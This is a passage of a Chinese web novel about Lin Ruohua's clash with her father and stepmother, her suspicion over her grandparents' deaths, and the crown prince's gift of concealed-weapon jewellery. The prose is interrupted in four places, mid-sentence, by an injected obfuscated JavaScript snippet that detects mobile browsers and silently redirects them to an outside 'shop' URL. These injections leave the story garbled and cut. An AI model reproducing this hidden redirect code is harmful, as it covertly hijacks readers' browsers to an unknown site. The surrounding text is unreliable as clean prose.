这般要紧的事,林若华回府后竟然只字未提。 叶氏在一旁强撑笑容,林洛瑶则气得双目泛红,指甲深深掐入掌心。 倒是林若华始终从容应对,言语得体,与国公夫人言笑晏晏,既不过分谦卑,也不居功自傲,直至将人恭恭敬敬地送出府门。 最令人难堪的是,镇国公夫人自始至终,除了初见的礼节性寒暄,就未曾再多看精心打扮的林洛瑶一眼。 待人一走,林洛瑶积攒的委屈和怒火瞬间爆发,哇的一声哭了出来,跺着脚跑回自己的院子,紧闭房门。 任凭叶氏在外如何敲门劝慰,里面也只传来更响亮的哭声和瓷器碎裂的声音。 反观林若华,好像无事发生,该吃吃该睡睡。 待到林兴业下值回府,叶氏忙将他拉到僻静处,添油加醋地细说了今日种种,言语间不免带上了对林若华的埋怨。 晚饭时间,林若华踏进饭厅,就见父亲林兴业与继母叶氏已端坐席间,连林洛瑶也板着脸,极不情愿地坐在一旁。 来者不善,鸿门宴啊。 一家人各怀心思地默默用完晚膳,林兴业捻着胡须,对林若华温言夸赞道:“若华,今日方知你昨日在感恩寺救了镇国公夫人,不愧是我林家的女儿,为父心中甚是欣慰。镇国公深得圣心,又手握兵权,在朝中举足轻重。你能与他们结下这份善缘,日后于我们林家大有助益啊。” 林若华不语,目光在他捻须的手指上一扫而过。 叶氏见状连忙搭话,脸上满是笑意:“是啊是啊,今日国公夫人对若华那可是赞不绝口,喜爱之情溢于言表,我瞧着,夫人是真喜欢我们若华。往后啊,可要多去镇国公府走动走动才是。” 见林若华仍不接话,林洛瑶按捺不住,尖声质问:“姐姐当真是好本事!不是救了太子殿下,就是救了国公夫人,回回都能攀上高枝!妹妹真是好奇,你这些本事,究竟是哪儿学来的?莫非是私下里得了什么高人指点不成?还是说,姐姐早就知道那是镇国公夫人,故意设计的这场巧遇?” 话语中的酸意与恶意几乎要溢出来了。 林若华这才瞥了她一眼,淡淡开口:“妹妹过誉了,不过是幼时体弱多病,缠绵病榻久了,看的医书多了,久病成医,略通些皮毛罢了,谈不上什么本事。至于设计之说……妹妹以为,镇国公夫人是那等容易被人设计的无知妇孺吗?” 叶氏听出话中机锋,只当她仍记恨从前怠慢,忙作歉然状,拿起手帕,按了按毫无泪意的眼角:“若华,母亲知道,从前或许有对你照顾不周的地方,让你受委屈了。可我们终究是一家人,血脉相连,打断骨头还连着筋呢,哪有隔夜的仇?如今你有了大好前程,更要守望相助才是啊。你看瑶儿她……” 林若华懒得再与他们周旋,目光扫过眼前神色各异的三人,直截了当道:“父亲,母亲,有何事不妨明言,此处并无外人。” 林兴业与叶氏迅速交换了一个眼色,仍是叶氏开口,她脸上笑容更盛:“若华,你是个聪明的孩子。你看,国公夫人今日送来的谢礼何等贵重,银锭,绸缎,还有许多名贵药材,更别提那成色极好的和田玉与夜明珠了。可见她对你不仅是感激,更是打心眼里看重你啊。” 她话锋一转,语气陡然变得哀戚,作出伤感状:“你不久便要入主东宫,将来荣华富贵享之不尽,父母再不必为你操心。只可怜你妹妹洛瑶,也快及笄了,这婚事还没个着落,我这心里,实在是……” 林若华挑眉,打断她的表演,语气依旧平淡:“所以?” 叶氏立刻换上笑脸:“听闻国公夫人最近正在为叶世子相看人家。那位世子爷,人品贵重,相貌堂堂,年纪又与咱们洛瑶相当。俗话说,肥水不流外人田。你于镇国公夫人有救命之恩,这是天大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16442530|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情分,若能从中说项一二,这岂不是一桩美事?你妹妹若得了好归宿,将来在宫中,不也多一份助力吗?” 林兴业在一旁点头道:“你母亲说得在理。姐妹同心,其利断金。若华,你要为家族长远考虑。” 林洛瑶更是瞬间转怒为喜,脸上泛起红晕,眼中充满期待,声音都娇柔了两分:“姐姐,若我能嫁入镇国公府,定不会忘了姐姐的大恩大德。” 至此,林若华终于明白了。 原来绕了这么大一个圈子,是想借她这份救命之恩,去攀附镇国公府,谋求与世子的婚事。 难怪今日镇国公夫人上门时,这母女二人那般喜形于色,原来是自作多情,会错了意,以为人家是来相看媳妇的。 莫说那位眼高于顶的男二叶景谦能否瞧得上林洛瑶,就算他当真眼瞎,林若华也不可能去促成这门亲事。 林洛瑶欺负了林若华这么多年,林若华自认不在婚事上给她使绊子,都算是心地极其善良了。 略一思索,林若华缓声开口:“父亲,母亲,此事恐怕不妥。” 她环视三人,继续道:“其一,国公爷乃是三皇子的亲舅,镇国公府与三皇子一脉荣辱与共。而我,不日即将嫁入东宫,身为太子妃。这些年来,两位殿下在朝堂上明争暗斗,父亲身在官场,应当比女儿更清楚其中利害。若将我林家两个女儿,分嫁两位势成水火的皇子派系,以林家微末门第,何来资格与实力在两边下注?此举无异于脚踏两船,稍有不慎,便是倾覆之祸,只怕会为林家招致灭顶之灾。届时,莫说攀附权贵,怕是性命都难保。” 她顿了顿,继续道:“其二,镇国公府今日送上如此厚礼,礼仪周全,却也恰恰表明了态度。他们意在重谢,两不相欠,分明是不愿与我们有太多后续的牵扯,以免落人口实,或卷入不必要的麻烦。我们若此时不识趣,贸然提出结亲之请,非但不成,反而徒惹人厌,将这份好不容易得来的善缘变成了恶缘。届时,女儿在中间,又该如何自处?” 林洛瑶听到此处,猛然起身,声音因愤怒而异常尖利:“林若华!你胡说八道!分明是你自己攀了高枝,就见不得我好!处处阻挠,编出这些危言耸听的话来吓唬爹娘。你就是嫉妒我,故意不让我嫁给表哥,你其心可诛!” 林若华眨了眨眼睛。 表哥?什么表哥? 叶氏强压住心中怒火,脸上挤出僵硬的假笑:“若华,母亲虽出自叶家旁支,但总归姓叶,论起辈分来,你们还得唤叶世子一声表哥。” 哈? 原来叶氏的叶和镇国公府的叶是同一个叶吗? 怪不得。 她与林洛瑶身为六品小官之女,在京中贵女圈籍籍无名,竟能收到六公主赏花宴的请帖。 六公主的生母叶妃,正是当今镇国公的堂妹。 这请帖,恐怕是看在这层早已疏远的叶姓面子上,或者干脆是叶氏费尽心机求来的。 从今日镇国公夫人对叶氏虽然客气但是明显疏离的态度,以及在感恩寺相遇时也绝口不提这层拐了弯的亲戚关系来看,这门亲戚够远的。 等等,如果叶氏与镇国公府有着这点联系,那当初林若华与萧玄鹤在御花园里的初遇,当真是巧合那么简单吗? 思及至此,林若华心头一颤。 15. 疑惑 林若华收敛心神,瞧着林洛瑶那副令人熟悉的、歇斯底里的模样,不由得勾起唇角,露出一个同样令对方熟悉的笑容,清冷的声音响起:“没错,我就是不让你嫁给表哥,你能怎样?” 看着林洛瑶脸上瞬间呆愣的表情,林若华这才继续慢条斯理地说道:“有本事你就日日去镇国公府外守着,若是运气好,说不定真能设计一场与叶世子的巧遇。” 果然,真诚才是必杀技,她刚才为什么要对牛弹琴呢,和这些人讲什么道理。 “你——”林洛瑶猛地伸手指着林若华,因为愤怒手指颤抖得厉害,嘴唇哆嗦了半天。 她的目光下意识转向林若华身侧始终沉默的苏南,只见那位侍女漫不经心地瞥了她一眼,眼神冰冷,带着毫不掩饰的警告。 林洛瑶喉咙哽咽,像是被人用手扼住了脖颈,满腔的怒火与委屈只能硬生生憋了回去,最后缓缓坐下,独自生着闷气。 “放肆!”林兴业再也忍不住,一巴掌拍在桌案上。 他额头青筋暴起,也顾不上捋他的宝贝胡子了,厉声斥道:“若华,近日爹娘是太纵着你了不成?这般目无尊长,你眼里可还有父母,可还有这个家!如此跋扈,成何体统!” 叶氏见状,扯了扯嘴角,挤出个皮笑肉不笑的表情,话中带着绵里藏针的威胁:“若华啊,你还年轻,不知轻重,你可要想清楚了。这不孝之女的名声若是传出去,可是要毁了一辈子的。到时候,这太子妃之位,只怕是……” 她故意顿了顿,这才缓缓道:“若是被御史参上一本,莫说是太子妃,就是寻常官宦人家,怕是也要掂量掂量,谁敢娶一个不孝之女进门?要知道,这京城里最不缺的,就是等着看别人笑话的人。” 林洛瑶立刻找到了主心骨,尖声附和:“对!去顺天府尹那里告你不孝!看你还怎么嚣张,看太子殿下还要不要你!” 预想中的惊慌失措并未出现。 林若华反而轻笑一声,那笑声里带着毫不掩饰的嘲讽与笃定:“父亲,母亲,你们何必这般动怒?虽然我很想说,大不了大家一起倒霉,撕破脸谁也别想好过,但是……” 她目光缓缓扫过在场三人,索性把话挑明:“太子殿下是一定会娶我的。为了保住我未来的体面,到时候倒霉的只会是你们。” 见林若华这样油盐不进,甚至搬出太子以势压人,林兴业怒不可遏,感觉身为父亲的权威被践踏得干干净净。 “逆女!林家供你吃穿,许你读书识字,究竟哪里亏待了你!让你如此怨恨家人,让你如此这般忘恩负义!” 叶氏也掏出手帕,再次装模作样地按了按毫无泪意的眼角,声音带上哭腔:“是啊,先前进宫参加六公主的赏花宴,那样好的机会,我四处求人,舍了多少脸面才得来的帖子,都没忘了让你和瑶儿同去。这不也是看在一家人的情分上么?总盼着你们姐妹都能有个好前程啊!” 她显然是忘了,那回是叶家人顺口提了一句,说林家大姑娘也到了相看的年纪,如果嫁得寒酸,不止损了她这继母的名声,也会连累林洛瑶的婚事。她权衡利弊之下,这才大发慈悲带上了林若华。 “情分?”林若华像是听到了天大的笑话,“亏待的地方可太多了,多到我不知从何说起。” 林若华觉得可笑,事到如今,他们依旧认为自己毫无错处,如果不是她有了利用价值,甚至不会和颜悦色地与她说话。 对于这种死不悔改的人,与其浪费口舌争辩过往,不如乘机弄清楚自己心中的疑惑。 林若华蹙起眉,紧紧盯着林兴业的眼睛,不放过他脸上的任何一点细微的变化,沉声问道:“父亲,过去的事暂且不提。我只问你一句,你可还记得,我外祖父母究竟是怎么死的吗?” 林兴业显然没料到她会突然问起这件陈年旧事,不由得一怔。 他神色顿时有些不自然:“你突然问这个做什么?” 当年林若华的生母难产去世,她自己也先天不足,体弱多病,外祖家虽有些薄产,却在偏僻的小镇上,那里缺医少药。 二老时常寄信来,只是林兴业极少回信,那些信大多石沉大海。 信中二老屡屡提及,京中名医多,想带林若华来京城治病,一家团聚,享天伦之乐。 可那时他已与叶氏、林洛瑶成了一家三口,其乐融融,唯恐这原配留下的女儿来了之后打破平静,更怕外祖家借此攀附,便总是推说在京立足不易,官场艰难,又借着林若华出生时游方道人所谓“克亲”的批命为由拒绝,后暗中瞒着叶氏捎去些银钱,这才将人勉强安抚住。 林若华的外祖父何尝不知当年看走了眼,把女儿错许了薄情郎。 可木已成舟,那时林兴业已是朝廷命官,而他不过一介平民商人,如何斗得过? 二老膝下只有林若华母亲这一个女儿,他们爱女心切,将一腔怜爱都寄托在这个唯一的外孙女身上,平日里虽比不得京中官家小姐尊贵,却也是他们的掌上明珠。 二老的最后一封信中提到,听闻附近的村庄出了一位神医,想带林若华前去求医,信里言辞恳切,充满了希望,但并未言明那位神医姓甚名谁,具体身在何处。 林兴业当时心中颇为不屑,穷乡僻壤的,能有什么神医?多半是些招摇撞骗的江湖郎中。 他自己便是从那地方寒窗苦读出来的,岂会不知底细? 他只随手吩咐书童回了一句“知道了,那就去吧”,便再未理会,也未加阻拦。 谁知数月后竟得噩耗,说他们一行数人,不幸在途中遭遇凶悍的山匪,车毁人亡,财物被劫,唯有年幼的林若华一人因被外祖母死死护在身下,侥幸活了下来。 林兴业得知消息时,原本有些心虚,但转念一想,那是天灾人祸,是山匪所为,与他何干? 他故作沉痛地说道:“岳父岳母不幸遭遇山匪,为父亦是心痛万分,奈何天高路远,鞭长莫及,这些往事,提起来徒增伤感。” 原来外祖父母是死在山匪手里啊,剧本里只是含糊提了句意外。 “山匪?”林若华打断他,带着明显的质疑,“怎会凭空冒出这么多凶悍的山匪?我外祖父也并非什么大财主,值得山匪如此大动干戈,杀人满门?” 林兴业见林若华幽幽望着自己,那微妙的眼神,带着审视与探究,看得他莫名其妙,随即反应过来,勃然变色:“你这是什么意思?莫非是在怀疑为父?” “我的意思是,官府后来可曾抓到凶手?可曾寻回丝毫财物?所以我在想,会不会那根本不是什么山匪,而是有人特意安排,专为杀人灭口而来?”林若华幽幽说道。 “荒谬!我堂堂朝廷命官,你说我买凶杀人?”林兴业气得浑身发抖,猛地抓起手边的茶杯狠狠摔在地上。 这一次,他终究没敢再砸向林若华,茶杯在离她脚边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她婚前和婚后,可不是这么跟他说的!她一直暗示自己是叶氏旁支,父母在叶家还有些门路。 林若华将父亲的反应看在眼里,心中不屑,只淡淡“嗯”了一声,既没说信,也没说不信。 她又把探寻的目光转向了一旁正暗自咬牙切齿的林洛瑶。 林洛瑶瞬间炸了毛,尖声道:“林若华,你有病吧!当时我才几岁?我根本就不知道这世上还有你这么个姐姐的存在,你休要血口喷人!你自己命硬克亲,倒来怪我们!” 一时间,厅内三人神情各异。 “你们各执一词,真假难辨,但此事,我不会就此罢休。我会请太子殿下相助,彻底查明外祖父母遇害的真相。若当真与你们无关,自然会还你们清白。若是有关……” 林若华没有再说下去,也不再看被她搅得人心惶惶的一家人,带着苏南,头也不回地走向自己的院子。 回到偏僻但清静的院子,她才对苏南低声道:“苏南,看他们的反应,似乎真的对当年的事毫不知情。” 苏南冷冷道:“观他们的神色举止,确实未曾撒谎。” 那她的身世,到底还藏着什么秘密? 眼下看来,至少能借此机会,摆脱那一家人如影随形的算计。 不过,总觉得,好像忘了点什么? 对了,都这么久了,男主人呢? 16. 戒指 林洛瑶回到院子后,心中憋屈得厉害,她死死攥紧手帕,指甲都快掐断了。 最终还是按捺不住,一个丫鬟都不让跟着,自己提着裙摆便往叶氏院中跑去。 林洛瑶一进门就扑进叶氏怀中,发髻都有些乱了,带着哭腔道:“娘,您看她如今嚣张成什么样子!不过是仗着有太子殿下的撑腰,就敢这般顶撞我们!她在这家里还有没有规矩了!” 叶氏轻抚着女儿的背,脸色阴沉得可以拧得出水来。 她何尝不气? 可眼下形势比人强,只能暂且忍耐着。 叶氏叹了口气,示意丫鬟婆子们都退到院外去,这才开口说道:“你爹气得去书房睡了,今晚就咱们娘俩说说话,也好商量个对策。” 另一边,林兴业一把推开书房的门,震得门框都在作响。 “逆女!真是翅膀硬了!”林兴业额头青筋暴起,对着空荡荡的书房低吼道。 所幸晚膳时提前屏退了所有下人,不然若是让那些嘴碎的仆从听见女儿竟然怀疑亲生父亲害死外祖父母,这般大逆不道的言论传出去,不知要招来多少非议。 林家的脸面还要不要了?他在朝中还要不要做人了? 想到当年,林兴业更是烦闷,他本不想认回这个女儿,可偏偏朝中的御史最爱揪着这些事做文章。 他就怕被人说忘恩负义,攀上叶家就不认亲女,谁知叶氏竟然也一直在欺瞒他。 “我这是造了什么孽啊!”林兴业颓丧地坐在椅子上,伸手扶住额头。 叶氏也有自己的顾虑,她虽是续弦,可也是正经的官家小姐出身,害怕被人指责说不容人,这才勉强同意把林若华带回府中教养,谁知今日竟惹来这般祸事。 叶氏咬着牙,对怀里的林洛瑶低声道:“早知如此,当初就该想办法把她送到庄子里去,眼不见心不烦,省得如今在这里气我们!” “就是!”林洛瑶抹着眼泪,声音哽咽道,“她现在是得意了,马上就要嫁出去了,以后就更不把我们放在眼里了!娘,您可得想个法子治治她!” 母女二人又低声埋怨了林若华许久,直到月上中天才各自歇下。 这一夜,林府注定有人无法安睡。 第二日清晨的饭厅里,林兴业眼下乌青,显然是一夜未眠,叶氏也是憔悴不堪,连脂粉都遮不住疲惫,林洛瑶更是眼眶红红,一副谁都欠了她钱的模样。 唯独林若华神清气爽,慢条斯理地用着早饭,仿佛昨晚的争执从未发生过。 她甚至还多用了半碗粥,配着爽口的小菜吃得津津有味。 席间无人言语,连一旁的丫鬟们都屏息静气,生怕触了主子的霉头。 吃完饭,林若华轻飘飘撂下一句:“我与太子殿下有约,先告退了。” 说罢,也不理会众人的脸色,独自带着苏南扬长而去。 太子备好的马车早已候在府外,马车载着她行至京城最繁华的大街,最终停在一座雕梁画栋的三层木楼前。 木楼门口悬挂着黑底红字的匾额,匾额上书写着龙飞凤舞的三个大字“珍宝楼”。 门前车水马龙,尽是达官显贵的车驾。 刚下马车,店中的管事连忙殷勤迎上,作揖道:“林小姐请随小的来,公子已在三楼雅间等候多时了。” 林若华踏进珍宝楼,只见一二楼陈列着琳琅满目的珠宝首饰,玛瑙珍珠翡翠珊瑚,应有尽有,贵客们在伙计的招待下正精心挑选着。 走上三楼,却格外清静,并无陈列的珍宝,也无其他客人。 管事引着林若华来到最里间的雅间,凌北正守在门前,见礼后为她推开房门。 房门虚掩,林若华一眼便瞧见了临窗而坐的萧长离。 今日萧长离身穿一袭红色锦袍,配上那双好看的丹凤眼,更显得贵气非凡,一眼便看出他并非寻常的富贵公子。 见林若华到来,萧长离微微颔首,唇角扬起温柔的笑意,仿佛三月春风拂面,让人不自觉地心安。 林若华步入房中后,苏南与凌北交换了个眼神,默契地关上房门,一左一右守在门外,管事早已悄然退下。 她走到窗边,探头望去,只见窗外正对着熙熙攘攘的长街,侧下方就是珍宝楼的大门。 这个位置选得极妙,既能看到街景,又不引人注目。 “你不会是一直坐在这里等我吧?”林若华眉眼弯弯,含笑打趣问道,清冷的声音里带上了几分俏皮。 萧长离轻笑出声,带着几分温润如玉:“并没有,只是恰巧选了这处位置,既能第一时间看见你到来,又能欣赏街景。” 说着,他起身从身旁的桌上拿过一个精致的紫檀木首饰盒,递到林若华面前。 林若华接过首饰盒,只见盒面上雕刻着一朵栩栩如生的并蒂莲,入手并不重,问道:“这是?” “打开看看,喜不喜欢。”萧长离温声道,眼中笑意更深。 见萧长离这样期待的神情,林若华不禁好奇这不大的盒中究竟装着什么礼物。 她小心翼翼地打开盒盖,只见里面静静躺着一支发簪、一只手镯和一枚戒指。 这三件首饰做工极为精巧,金光灿烂,宝石生辉,在窗外透进来的阳光下流转着华美的光泽。 “不是说好一起来挑选送给皇上的寿礼吗?”她抬眸疑惑道。 身为准太子妃,她自然也是要入宫参加寿宴,并且在宴上献礼的。 但这很明显不是为老皇帝准备的礼物。 “我已为你备好给父皇的玉如意,是上好的和田玉雕刻而成,寓意吉祥,虽不出挑,但最为稳妥。”萧长离笑着解释,目光始终停留在林若华的脸上,“这一套首饰,是我特意为你准备的。” 林若华有些不好意思,摇摇头,想要拒绝道:“前些天你已经送了不少礼物了,那些绫罗绸缎、珠宝首饰以及各类书籍,把我的院子塞得满满当当,我和苏南,还有月季、杜鹃都快没地方住了。” 萧长离目光温柔似水,轻声说:“这个不一样。” 他执起那支金簪,簪头是一朵以粉玛瑙雕琢而成的桃花,花心嵌着一颗殷红的宝石,虽不及皇后所赐的牡丹发钗华贵,但也别具匠心。 “你看这里。”只见萧长离右手拇指按住花心处的宝石,左手在簪身稍一用力,轻轻一拉,簪体竟与桃花分离开来,露出藏在其中的一截利刃,“这发簪不仅美观,更能在危急时刻防身。若是有人对你不利,只需按下机关,便能出其不意。” 在林若华惊讶的目光中,萧长离将金簪复原,放回盒中,又取出那只黄金手镯。 手镯正中镶嵌着一颗硕大的珍珠,两旁各点缀着一颗小珍珠。 他按住大珍珠,再将小珍珠往外一拉,一条细如发丝但锋利无比的钢丝倏然显现。 “这钢丝是以玄铁打造而成,削铁如泥,若是被人挟持,可用此物脱身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16477342|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 松手后,钢丝又悄无声息地缩回镯中,小珍珠也回归原位,严丝合缝,看不出有任何破绽。 最后,他拿起那枚翡翠戒指,戒面是上等的帝王绿翡翠,晶莹剔透,翠色欲滴。 “这枚戒指。”他顿了顿,将椭圆形的戒面轻轻一转,隐藏在翡翠下的钢针便探出头来,再一转,钢针又收了回去。 “此针上淬了麻药,虽不致命,却能让歹人瞬间失去行动能力。” 每一件都暗藏玄机,既是饰物,也是防身利器。 林若华早已睁大了双眼,难道这就是传说中的机关暗器。 她放下盒子,接过戒指仔细端详,忍不住赞叹:“这暗器设计得这么隐蔽,宫中的巧匠恐怕也不一定能做出来。” 萧长离的目光温柔又专注,解释道:“这是我特意请江湖上最有名的机关大师打造的。我不能时时陪在你身边,苏南武功虽高,但总免不了有疏忽的时候。我不想你出任何意外,但愿这些东西永远派不上用场,我只盼你平平安安,长命百岁。” 林若华明白,这一定是萧长离费尽心思寻来的,她郑重点头:“谢谢你如此为我着想,我们一起平平安安,长命百岁。” 萧长离没有将戒指放回盒中,而是凝望着林若华,轻声道:“来,我为你戴上。” 他轻轻牵起林若华的右手,将那枚翡翠戒指小心翼翼地戴在林若华的无名指上,尺寸竟然恰到好处。 林若华微微一颤,这时林若华才注意到,萧长离的左手无名指上,也戴着一枚一模一样的翡翠戒指,这分明是一对。 她的脸颊微微发烫,是她想多了吗,之前对方明明是说假结婚,这一切不过是为了保护她而已。 抬眸望向萧长离的双眼,只见他清澈的瞳孔中满满都是自己的身影,那目光太过郑重,让她不由得心跳加速。 为免继续胡思乱想,林若华连忙转移话题:“长离,你手上的翡翠……” 萧长离眼睛一亮,唇角轻扬,似乎很期待她的发现。 林若华本想说那对戒指,话到嘴边却拐了个弯:“翡翠扳指好别致,我上次进宫时,好像看见皇上也有个差不多的。” 话音刚落,萧长离眼神一暗,方才的温柔笑意瞬间消散,唇角泛起一丝苦涩。 糟了,她说错话了。 林若华马上意识到。 萧长离沉默片刻,方才缓缓开口:“你观察得很仔细,这扳指确实是父皇赏赐的。” 他放开林若华的手,缓缓取下拇指上的翡翠扳指。 没有了扳指的遮掩,林若华这才看清,萧长离拇指上竟有一道深可见骨的旧伤! 那伤口狰狞可怖,如同蜈蚣盘踞在他修长的拇指上,如果再深一些,拇指怕是早已断掉,以这个时代的医术,断指是绝对没有接回的可能性。 “这是……”林若华倒吸一口凉气,下意识地伸手想要触碰,又急忙收回,“怎么伤成这样?” 萧长离垂眸看着那道疤痕,声音苦涩,透出痛楚的回忆:“是十三年前,被二皇子所伤。” 十三年前,那时的萧长离,不过才五岁,那个时候,他还没有恢复记忆,是一个真正的五岁孩子。 难以想象,萧长离那些年在宫中究竟遭遇了些什么,又承受着怎样残忍的伤害? 林若华怔在原地,一时不知该如何回应,窗外喧嚣依旧,雅间内却陷入安静,只余两人的呼吸声。 17. 皇子 由于整部剧都是围绕着男主萧玄鹤展开的,而身为太子的萧长离,只是个处处与萧玄鹤作对的配角,他的过往,在剧本中只有寥寥数语。 幼时不得圣心,在冷眼中挣扎求生,故而长大后性情乖张,热衷于争权夺利。 二皇子早夭,余下的皇子年纪尚小,唯有元后嫡子萧玄鹤逐渐崭露头角,成了萧长离最强劲的对手。 “事情要从萧玄鹤三岁那年,叶皇后因难产而亡说起了……” 镇国公忧心外甥萧玄鹤无人照顾,与皇帝在御书房商议后,镇国公一位娴静端庄的堂妹,也就是萧玄鹤的堂姑进了宫,由她亲自抚养萧玄鹤长大。 当时众人都在猜测,或许叶家将再出一位皇后,延续家族荣光。 可这位新入宫的叶氏女只得了妃位,最终,是萧长离的生母,被册封为新后。 这些事情都是剧本里提过,林若华所知晓的。 “那时,二皇子的生母汤贵妃风头正盛,因叶氏未登后位,朝野上下便有风声,说汤贵妃贤德,将继位中宫。为她请封的奏章,几乎堆满了父皇的御案。汤贵妃的父亲是吏部尚书,是父皇的心腹,是随父皇打天下的从龙之臣,在朝中根基深厚。” 说到此处,萧长离又无奈地笑了起来,只是笑意未达眼底:“汤贵妃此人,平日里最会伪装。表面上装得落落大方,善解人意,对待宫人也时常施以小恩小惠,博得了仁善的美名,实则心肠歹毒,锱铢必较。” 林若华面露疑惑,心说:汤贵妃?这么一位能影响前朝和后宫的重要人物,在剧本里别说是名字了,半点痕迹都没有。 萧长离的声音逐渐低沉了下去,继续说道:“汤贵妃私下以宫规为名,折辱过不少无依无靠的低位份妃嫔,她憎恨我占了长子之位,碍了她儿子的路,不敢明着动我这个皇子,便时常唆使年纪尚小的二皇子来挑衅欺辱。每回事发,她总能恰到好处地出现,明面上严厉斥责了二皇子,但并无实际的惩戒,如此便轻易揭过了。” “那么,这位汤贵妃她到底……”林若华没有说下去,而是担忧地看向萧长离。 萧长离闭上了双眼,像是回到了十三年前的那个夜晚:“我记得很清楚,那是泰安八年的中秋宴,父皇心情不错,赏了我和二皇子每人一盒御膳房特制的月饼,我母后当时品级低微,没有资格参加宴席。我便想着,将这稀罕的点心带回去,和她一同尝尝。” 林若华眼前,仿佛出现了那个小心翼翼地捧着精美食盒,独自在漫长宫道上走着的孩子。 “谁知,二皇子带着他的贴身太监,在半路就将我拦下了。他明明已经有了,却非要来争抢我的,我虽年长他半岁,但不敢还手,只能死死抱着食盒不放。他就命太监将我死死按住,自己不知从哪里掏出一柄镶宝石的匕首,就朝我抱着盒子的手刺下来。” 林若华心中一惊,眉头紧蹙,不可思议地说道:“二皇子还不到五岁,心肠竟然这么狠毒,甚至还随身带着匕首。” 这背后如果无人教唆,实在叫人难以相信。 萧长离睁开眼,带着三分苦涩,庆幸道:“是我母后,她见我迟迟不归,心神不安,一路寻来。如果不是她不顾一切,奋力推开二皇子,一把抱起血流不止的我,拼了命地跑至太医院,哭求太医救治……” 他伸出自己的左手,注视着那道旧疤,说道:“这只拇指,早已没了。” 提起这些陈年往事,萧长离的语气一直很平静,就好像真的只是演员在讲述自己所扮演的角色。 林若华听得心里发酸,她看着那道疤痕,唯恐再吓到那个任人欺凌的孩子,声音很轻地说道:“后来呢,皇上有惩罚二皇子和汤贵妃吗?” 话刚问出口,她心中就已经有了答案。 应该是没有的。 果然,萧长离轻笑一声,摇了摇头,道:“没有,因为就在第二天夜里,二皇子由于太过贪玩,一个人偷溜到御花园,意外失足落水,溺亡了。汤贵妃痛失爱子,大病一场,没过多久也跟着去了。女儿外孙接连过世,汤尚书悲痛过度,突发心疾,最后死于家中书房。” 曾经显赫一时的汤家人,就如同从未存在过一样,再无人提起。 太巧了,实在是太巧了。 林若华总觉得事情没有萧长离说得那样简单,她看向萧长离的眼睛。 萧长离正垂眸,将一直握在掌心中的翡翠扳指,缓缓地重新戴回拇指上,扳指正好严丝合缝地遮住了狰狞的伤疤。 林若华看不见萧长离眼中的情绪,只听他说:“过了些时日,父皇突然驾临我们那个冷清的宫殿。母后很高兴,还以为是父皇终于想起了我们母子。她盛装打扮,小心翼翼地迎合,可她始终沉浸在自己的喜悦里,并未曾察觉父皇眼中若有似无的审视。” 萧长离顿了顿,继续说道:“父皇仔细看过我手上已经结痂的伤痕,并未多说什么,只是随手取下自己拇指上的这枚扳指,套在了我的手上,虽然那个时候并不合适。再然后,我便被立为太子,母妃也被册封为皇后,搬离了那座偏僻的宫殿。” 听到此处,林若华望着萧长离的眼中已满是难以言说的难过。 萧长离抬眸,察觉出了她的情绪,反而笑了笑,安抚道:“都过去了,如今回想起来,一切的苦难都模糊了,只是有些可惜那盒没吃上的月饼。” 林若华想到什么,肯定地说道:“皇上并不在意你。” 如果在意,又怎会在他受伤后不闻不问? 如果在意,又怎会让年幼的儿子受尽欺凌? 这不合常理,一个不被父亲所喜爱的儿子,为什么会被立为太子? “最后是你当上了太子,而不是萧玄鹤。”林若华若有所思,忽然灵光一闪,道:“四皇子是皇帝为萧玄鹤准备的踏脚石,而你,是不是就成了一块用来磨砺萧玄鹤的磨刀石?” 萧长离闻言,满不在意地笑了笑,甚至带着几分释然道:“是啊,若我还是当年那个孩子,或许会因此伤心难过,彻夜难眠,但现在,早已不会了。” 未尽之语,二人心照不宣。 林若华又想起那个作恶多端的四皇子。 四皇子并非首次害人性命,以往苦主告状,最多不过换来四皇子禁足反省。 这次害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16501452|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死她的丫鬟酥酪,恐怕是连禁足都免了,仅仅是让兄长萧长离斥责一番。 四皇子的母家,是江南第一富商钱家,在前朝战乱时,便以商人敏锐的眼光,携万贯家财投奔刚刚起义的老皇帝,可谓是雪中送炭。 后来,钱家的当家人,也就是四皇子的外祖父,被皇帝赐封为“忠义伯”。 